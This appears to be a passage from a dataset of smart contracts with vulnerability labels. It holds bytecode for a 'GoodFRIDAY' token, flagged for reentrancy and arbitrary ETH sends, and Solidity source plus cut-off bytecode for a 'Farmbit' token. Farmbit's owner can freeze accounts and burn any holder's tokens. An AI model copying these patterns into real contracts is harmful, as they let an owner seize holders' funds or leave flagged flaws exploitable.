0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a91461036d578063c3c8cd801461038d578063c9567bf9146103a2578063db92dbb6146103b7578063dd62ed3e146103cc578063e8078d941461041257600080fd5b806370a08231146102d1578063715018a6146102f15780638da5cb5b1461030657806395d89b4114610150578063a9059cbb1461032e578063a985ceef1461034e57600080fd5b8063313ce56711610108578063313ce5671461021e57806345596e2e1461023a578063522644df1461025c5780635932ead11461027c57806368a3a6a51461029c5780636fc3eaec146102bc57600080fd5b806306fdde0314610150578063095ea7b31461019257806318160ddd146101c257806323b872dd146101e957806327f3a72a1461020957600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082018252600a815269476f6f6446524944415960b01b602082015290516101899190611b9f565b60405180910390f35b34801561019e57600080fd5b506101b26101ad366004611ad6565b610427565b6040519015158152602001610189565b3480156101ce57600080fd5b5069152d02c7e14af68000005b604051908152602001610189565b3480156101f557600080fd5b506101b2610204366004611a96565b61043e565b34801561021557600080fd5b506101db6104a7565b34801561022a57600080fd5b5060405160098152602001610189565b34801561024657600080fd5b5061025a610255366004611b39565b6104b7565b005b34801561026857600080fd5b5061025a610277366004611b7e565b610560565b34801561028857600080fd5b5061025a610297366004611b01565b6105c9565b3480156102a857600080fd5b506101db6102b7366004611a26565b610648565b3480156102c857600080fd5b5061025a61066b565b3480156102dd57600080fd5b506101db6102ec366004611a26565b610698565b3480156102fd57600080fd5b5061025a6106ba565b34801561031257600080fd5b506000546040516001600160a01b039091168152602001610189565b34801561033a57600080fd5b506101b2610349366004611ad6565b61072e565b34801561035a57600080fd5b50601354600160a81b900460ff166101b2565b34801561037957600080fd5b506101db610388366004611a26565b61073b565b34801561039957600080fd5b5061025a610761565b3480156103ae57600080fd5b5061025a610797565b3480156103c357600080fd5b506101db6107e4565b3480156103d857600080fd5b506101db6103e7366004611a5e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041e57600080fd5b5061025a6107fc565b6000610434338484610bb1565b5060015b92915050565b600061044b848484610cd5565b61049d843361049885604051806060016040528060288152602001611d3f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112a9565b610bb1565b5060019392505050565b60006104b230610698565b905090565b6011546001600160a01b0316336001600160a01b0316146104d757600080fd5b603381106105245760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b60008160ff16116105c15760405162461bcd60e51b815260206004820152602560248201527f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460448201526468616e203160d81b606482015260840161051b565b60ff16601555565b6000546001600160a01b031633146105f35760405162461bcd60e51b815260040161051b90611bf2565b6013805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610555565b6001600160a01b0381166000908152600660205260408120546104389042611cee565b6011546001600160a01b0316336001600160a01b03161461068b57600080fd5b47610695816112e3565b50565b6001600160a01b0381166000908152600260205260408120546104389061131d565b6000546001600160a01b031633146106e45760405162461bcd60e51b815260040161051b90611bf2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610434338484610cd5565b6001600160a01b0381166000908152600660205260408120600101546104389042611cee565b6011546001600160a01b0316336001600160a01b03161461078157600080fd5b600061078c30610698565b9050610695816113a1565b6000546001600160a01b031633146107c15760405162461bcd60e51b815260040161051b90611bf2565b6013805460ff60a01b1916600160a01b1790556107df4260b4611c97565b601455565b6013546000906104b2906001600160a01b0316610698565b6000546001600160a01b031633146108265760405162461bcd60e51b815260040161051b90611bf2565b601354600160a01b900460ff16156108805760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161051b565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108be308269152d02c7e14af6800000610bb1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f757600080fd5b505afa15801561090b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092f9190611a42565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097757600080fd5b505afa15801561098b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109af9190611a42565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109f757600080fd5b505af1158015610a0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2f9190611a42565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610a5f81610698565b600080610a746000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610ad757600080fd5b505af1158015610aeb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b109190611b51565b5050681b1ae4d6e2ef5000006010555042600d5560135460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b7557600080fd5b505af1158015610b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bad9190611b1d565b5050565b6001600160a01b038316610c135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051b565b6001600160a01b038216610c745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051b565b6001600160a01b038216610d9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051b565b60008111610dfd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051b565b6000546001600160a01b03848116911614801590610e2957506000546001600160a01b03838116911614155b1561124c57601354600160a81b900460ff1615610ea9573360009081526006602052604090206002015460ff16610ea957604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6013546001600160a01b03838116911614801590610ed057506001600160a01b0382163014155b15610f3f57610edd611546565b81610ee784610698565b610ef19190611c97565b1115610f3f5760405162461bcd60e51b815260206004820152601960248201527f4d617820686f6c64696e67206361702062726561636865642e00000000000000604482015260640161051b565b6013546001600160a01b038481169116148015610f6a57506012546001600160a01b03838116911614155b8015610f8f57506001600160a01b03821660009081526005602052604090205460ff16155b156110ee57601354600160a01b900460ff16610fed5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161051b565b600f600a55601354600160a81b900460ff16156110b4574260145411156110b45760105481111561101d57600080fd5b6001600160a01b038216600090815260066020526040902054421161108f5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161051b565b61109a42602d611c97565b6001600160a01b0383166000908152600660205260409020555b601354600160a81b900460ff16156110ee576110d142600f611c97565b6001600160a01b0383166000908152600660205260409020600101555b60006110f930610698565b601354909150600160b01b900460ff1615801561112457506013546001600160a01b03858116911614155b80156111395750601354600160a01b900460ff165b1561124a57600f600a55601354600160a81b900460ff16156111cb576001600160a01b03841660009081526006602052604090206001015442116111cb5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161051b565b801561123857600b54601354611201916064916111fb91906111f5906001600160a01b0316610698565b90611572565b906115f1565b81111561122f57600b5460135461122c916064916111fb91906111f5906001600160a01b0316610698565b90505b611238816113a1565b47801561124857611248476112e3565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061128e57506001600160a01b03831660009081526005602052604090205460ff165b15611297575060005b6112a384848484611633565b50505050565b600081848411156112cd5760405162461bcd60e51b815260040161051b9190611b9f565b5060006112da8486611cee565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610bad573d6000803e3d6000fd5b60006007548211156113845760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161051b565b600061138e611661565b905061139a83826115f1565b9392505050565b6013805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113f757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144b57600080fd5b505afa15801561145f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114839190611a42565b816001815181106114a457634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546114ca9130911684610bb1565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611503908590600090869030904290600401611c27565b600060405180830381600087803b15801561151d57600080fd5b505af1158015611531573d6000803e3d6000fd5b50506013805460ff60b01b1916905550505050565b6000606460155461155e69152d02c7e14af680000090565b6115689190611ccf565b6104b29190611caf565b60008261158157506000610438565b600061158d8385611ccf565b90508261159a8583611caf565b1461139a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161051b565b600061139a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611684565b80611640576116406116b2565b61164b8484846116e0565b806112a3576112a3600e54600955600f54600a55565b600080600061166e6117d7565b909250905061167d82826115f1565b9250505090565b600081836116a55760405162461bcd60e51b815260040161051b9190611b9f565b5060006112da8486611caf565b6009541580156116c25750600a54155b156116c957565b60098054600e55600a8054600f5560009182905555565b6000806000806000806116f28761181b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117249087611878565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461175390866118ba565b6001600160a01b03891660009081526002602052604090205561177581611919565b61177f8483611963565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117c491815260200190565b60405180910390a3505050505050505050565b600754600090819069152d02c7e14af68000006117f482826115f1565b8210156118125750506007549269152d02c7e14af680000092509050565b90939092509050565b60008060008060008060008060006118388a600954600a54611987565b9250925092506000611848611661565b9050600080600061185b8e8787876119d6565b919e509c509a509598509396509194505050505091939550919395565b600061139a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a9565b6000806118c78385611c97565b90508381101561139a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161051b565b6000611923611661565b905060006119318383611572565b3060009081526002602052604090205490915061194e90826118ba565b30600090815260026020526040902055505050565b6007546119709083611878565b60075560085461198090826118ba565b6008555050565b600080808061199b60646111fb8989611572565b905060006119ae60646111fb8a89611572565b905060006119c6826119c08b86611878565b90611878565b9992985090965090945050505050565b60008080806119e58886611572565b905060006119f38887611572565b90506000611a018888611572565b90506000611a13826119c08686611878565b939b939a50919850919650505050505050565b600060208284031215611a37578081fd5b813561139a81611d1b565b600060208284031215611a53578081fd5b815161139a81611d1b565b60008060408385031215611a70578081fd5b8235611a7b81611d1b565b91506020830135611a8b81611d1b565b809150509250929050565b600080600060608486031215611aaa578081fd5b8335611ab581611d1b565b92506020840135611ac581611d1b565b929592945050506040919091013590565b60008060408385031215611ae8578182fd5b8235611af381611d1b565b946020939093013593505050565b600060208284031215611b12578081fd5b813561139a81611d30565b600060208284031215611b2e578081fd5b815161139a81611d30565b600060208284031215611b4a578081fd5b5035919050565b600080600060608486031215611b65578283fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b8f578081fd5b813560ff8116811461139a578182fd5b6000602080835283518082850152825b81811015611bcb57858101830151858201604001528201611baf565b81811115611bdc5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c765784516001600160a01b031683529383019391830191600101611c51565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611caa57611caa611d05565b500190565b600082611cca57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ce957611ce9611d05565b500290565b600082821015611d0057611d00611d05565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461069557600080fd5b801515811461069557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220701c15508e8caf69efc2a5136a77dec6b4ecd78b5e4ace4c9388d14dde3bd35964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,142 |
0xf3a28a1906e3acb885e6ceedc50774ab262d5b85
|
// ----------------------------------------------------------------------------
// Farmbit Contract
// Name : Farmbit
// Symbol : FARM
// Decimals : 18
// InitialSupply : 900,000,000 FARM
// ----------------------------------------------------------------------------
pragma solidity 0.5.8;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract Farmbit is ERC20 {
string public constant name = "Farmbit";
string public constant symbol = "FARM";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 900000000 * (10 ** uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already Owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Paused by owner");
_;
}
modifier whenPaused() {
require(paused, "Not paused now");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
event Frozen(address target);
event Unfrozen(address target);
mapping(address => bool) internal freezes;
modifier whenNotFrozen() {
require(!freezes[msg.sender], "Sender account is locked.");
_;
}
function freeze(address _target) public onlyOwner {
freezes[_target] = true;
emit Frozen(_target);
}
function unfreeze(address _target) public onlyOwner {
freezes[_target] = false;
emit Unfrozen(_target);
}
function isFrozen(address _target) public view returns (bool) {
return freezes[_target];
}
function transfer(
address _to,
uint256 _value
)
public
whenNotFrozen
whenNotPaused
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(!freezes[_from], "From account is locked.");
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(_who), "Balance is too small.");
_burn(_who, _value);
emit Burn(_who, _value);
}
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) {
return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance);
}
function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(
LockInfo(_releaseTime, _amount)
);
emit Lock(_holder, _amount, _releaseTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
}
lockInfo[_holder].length--;
}
function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(
LockInfo(_releaseTime, _value)
);
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063a9059cbb11610097578063df03458611610071578063df034586146104ff578063e2ab691d14610525578063e583983614610557578063f2fde38b1461057d5761018e565b8063a9059cbb14610473578063dd62ed3e1461049f578063de6baccb146104cd5761018e565b80638456cb59146103c15780638d1fdf2f146103c95780638da5cb5b146103ef57806395d89b41146104135780639dc29fac1461041b578063a457c2d7146104475761018e565b8063395093511161014b57806346cf1bb51161012557806346cf1bb5146103225780635c975abb1461036757806370a082311461036f5780637eee288d146103955761018e565b806339509351146102c65780633f4ba83a146102f257806345c8b1a6146102fc5761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a578063313ce567146102a0578063378dc3dc146102be575b600080fd5b61019b6105a3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b0381351690602001356105c9565b604080519115158252519081900360200190f35b6102586105df565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356105e6565b6102a86106cd565b6040805160ff9092168252519081900360200190f35b6102586106d2565b61023c600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356106e2565b6102fa610723565b005b6102fa6004803603602081101561031257600080fd5b50356001600160a01b0316610810565b61034e6004803603604081101561033857600080fd5b506001600160a01b0381351690602001356108b9565b6040805192835260208301919091528051918290030190f35b61023c610932565b6102586004803603602081101561038557600080fd5b50356001600160a01b0316610942565b6102fa600480360360408110156103ab57600080fd5b506001600160a01b0381351690602001356109dc565b6102fa610c8a565b6102fa600480360360208110156103df57600080fd5b50356001600160a01b0316610d73565b6103f7610e1f565b604080516001600160a01b039092168252519081900360200190f35b61019b610e2e565b6102fa6004803603604081101561043157600080fd5b506001600160a01b038135169060200135610e51565b61023c6004803603604081101561045d57600080fd5b506001600160a01b038135169060200135610f4f565b61023c6004803603604081101561048957600080fd5b506001600160a01b038135169060200135610f8b565b610258600480360360408110156104b557600080fd5b506001600160a01b038135811691602001351661105d565b61023c600480360360608110156104e357600080fd5b506001600160a01b038135169060208101359060400135611088565b6102586004803603602081101561051557600080fd5b50356001600160a01b03166112a5565b6102fa6004803603606081101561053b57600080fd5b506001600160a01b0381351690602081013590604001356112c0565b61023c6004803603602081101561056d57600080fd5b50356001600160a01b031661142f565b6102fa6004803603602081101561059357600080fd5b50356001600160a01b031661144d565b604051806040016040528060078152602001600160ca1b6611985c9b589a5d0281525081565b60006105d63384846114aa565b50600192915050565b6002545b90565b600354600090600160a01b900460ff16156106405760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156106b15760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6106ba8461159c565b6106c58484846117bf565b949350505050565b601281565b6b02e87669c308736a0400000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105d691859061071e908663ffffffff61181116565b6114aa565b6003546001600160a01b031633146107745760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff166107d55760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b60038054600160a01b60ff02191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b031633146108615760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b03821660009081526005602052604081208054829190849081106108e057fe5b600091825260208083206002909202909101546001600160a01b03871683526005909152604090912080548590811061091557fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b0384166000908152600560205260409020548110156109bb576001600160a01b038416600090815260056020526040902080546109b191908390811061099057fe5b9060005260206000209060020201600101548361181190919063ffffffff16565b9150600101610947565b506109d5816109c98561186e565b9063ffffffff61181116565b9392505050565b6003546001600160a01b03163314610a2d5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610a9c5760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610afe919083908110610ac557fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61181116565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610b5257fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610b9d57fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114610c5c576001600160a01b038216600090815260056020526040902080546000198101908110610bff57fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110610c3d57fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490610c85906000198301611bb0565b505050565b6003546001600160a01b03163314610cdb5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff1615610d325760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b60038054600160a01b60ff021916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314610dc45760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b604051806040016040528060048152602001600160e01b634641524d0281525081565b6003546001600160a01b03163314610ea25760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610eab8261186e565b811115610f025760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b610f0c8282611889565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105d691859061071e908663ffffffff61195316565b3360009081526004602052604081205460ff1615610ff35760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff161561104a5760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6110533361159c565b6109d583836119b3565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b031633146110dc5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841661113a5760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b60035461114f906001600160a01b031661186e565b8311156111a65760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b03166000908152602081905260409020546111d1908463ffffffff61195316565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020611d1f833981519152928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b031633146113115760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b8161131b8461186e565b10156113715760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000